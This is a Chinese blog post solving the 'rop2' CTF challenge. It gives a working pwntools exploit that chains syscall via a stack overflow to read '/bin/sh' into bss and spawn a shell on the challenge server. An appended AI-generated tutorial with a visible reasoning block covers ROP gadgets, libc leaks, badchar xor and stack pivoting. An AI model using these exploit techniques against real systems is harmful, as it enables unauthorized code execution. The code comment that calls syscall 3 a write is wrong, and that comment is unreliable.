ROP2 ROP的启蒙题

from pwn import *
cn = remote('hackme.inndy.tw',7703)
#context.log_level='debug'
elf = ELF('rop2')

syscall = elf.symbols['syscall']
print "%x"%syscall
over = elf.symbols['overflow']
bss = elf.bss()
cn.recvuntil('Give me your ropchain:')
pay = 'a'*16
pay+= p32(syscall)#ret_addr
pay+= p32(over)#fake_ret_addr
pay+= p32(3)+p32(0)+p32(bss)+p32(8)#param
#syscall(3,0,bss,8)=write(0,bss,8)
#先往bss写入/bin/sh
cn.sendline(pay)
cn.send('/bin/sh\0')

pay='a'*16
pay+= p32(syscall)#ret_addr
pay+= 'a'*4#fake_ret_addr
pay+= p32(11)+p32(bss)+p32(0)+p32(0)#param
#syscall(11,bss,0,0)=system(bss)
cn.sendline(pay)

cn.interactive()

padding+返回地址+执行完syscall后的返回地址+参数

<think>嗯,用户这次明确提出了ROP入门解法的需求。从引用内容看,用户应该是在学习PWN技术中的栈溢出和ROP攻击基础,而且提到的几个引用都涉及关键知识点:栈迁移绕过NX保护、异或指令绕过badchar、寄存器控制gadget查找、地址泄漏处理等。 用户可能刚接触二进制安全,需要从最基础的ROP链构造逻辑开始梳理。虽然引用里有不少术语,但用户特意强调"入门解法",说明需要基础性引导。我注意到引用[3]提到pop rdi寄存器的查找方法,引用[4]强调地址转换,这些都是新手容易出错的点。 上次回答已经搭建了ROP攻击的框架,这次要更聚焦"入门实践"环节。把攻击流程拆解成:1)确认漏洞点→2)泄漏地址→3)寻找gadget→4)构造payload→5)绕过防护措施。特别要强调工具链使用,比如ROPgadget和pwntools的操作细节,因为引用[3][4]显示用户正在实践这部分。 用户提到的badchar绕过(引用[2])和栈迁移(引用[1])属于进阶技巧,但既然是入门需求,应该放在最后简要说明作为延伸。核心还是要让用户理解最基本的ret2libc攻击模型——毕竟所有ROP都是基于这个思想衍生的。 啊,想到个重点:必须提醒内存地址对齐问。引用[4]的int(buf,16)转换容易出错,很多新手会忽略小端序处理和地址偏移计算,这会导致payload发送失败。应该在步骤里单独强调,最好配上示意图解释栈帧布局。 </think>以下是ROP入门的解法详解,结合栈溢出漏洞利用的核心步骤: --- ### **ROP攻击基本原理** ROP(Return-Oriented Programming)是一种绕过内存不可执行(NX/DEP)防护的技术。核心思想是复用程序中已有的代码片段(gadget),通过控制栈指针(`rsp`)跳转执行多个gadget链,最终实现攻击目标[^1]。 --- ### **ROP入门解法步骤** #### **1. 确定漏洞点** - 通过缓冲区溢出覆盖返回地址(ret),劫持程序控制流。 - 输入模式示例:`payload = b'A'*offset + p64(gadget_addr)` (`offset`为溢出点到ret的偏移,`p64`用于地址打包)[^4]。 #### **2. 泄漏关键地址** - **场景**:需获取函数真实地址(如`libc`基址)。 - **方法**: - 调用`puts@plt`泄漏`puts@got`地址: ```python pop_rdi = 0x400703 # 控制rdi寄存器的gadget payload = b'A'*offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) ``` - 接收输出并计算`libc`基址: `libc_base = leaked_puts - libc.symbols['puts']`[^3][^4]。 #### **3. 构造ROP链** - **查找gadget**:使用工具定位关键指令: ```bash ROPgadget --binary vuln_prog --only 'pop|ret' | grep 'rdi' # 输出示例: 0x400703: pop rdi; ret; ``` - **常用gadget类型**: - 控制参数寄存器:`pop rdi; ret`, `pop rsi; ret` - 内存操作:`mov [rax], rdx; ret` - 系统调用:`syscall; ret`[^2][^3]. #### **4. 绕过防护机制** - **Bad Characters处理**(如`b'i/c'`): - 使用异或指令避免敏感字符: ```asm xor_byte_gadget: # 示例gadget xor byte [rax], bl ret ``` - 分步异或写入目标值(如`shellcode`)[^2]。 - **栈空间不足时**:通过`栈迁移`转移到可控区域(如BSS段): ```python leave_ret = 0x400801 # leave; ret; gadget payload = b'A'*offset + p64(pop_rbp) + p64(new_stack) + p64(leave_ret) ``` #### **5. 最终执行** - 调用`system("/bin/sh")`或`execve`: ```python binsh_addr = 0x601080 # 写入"/bin/sh"的地址 payload += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) ``` --- ### **关键工具与技巧** 1. **动态调试**:`gdb-pwndbg`查看栈布局,`cyclic`计算偏移。 2. **地址转换**:接收泄漏地址时需转换:`leak = u64(p.recv(6).ljust(8, b'\x00'))`[^4]。 3. **Libc查询**:利用`LibcSearcher`匹配远程libc版本: ```python from libcsearcher import LibcSearcher libc = LibcSearcher("puts", leak_addr) ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值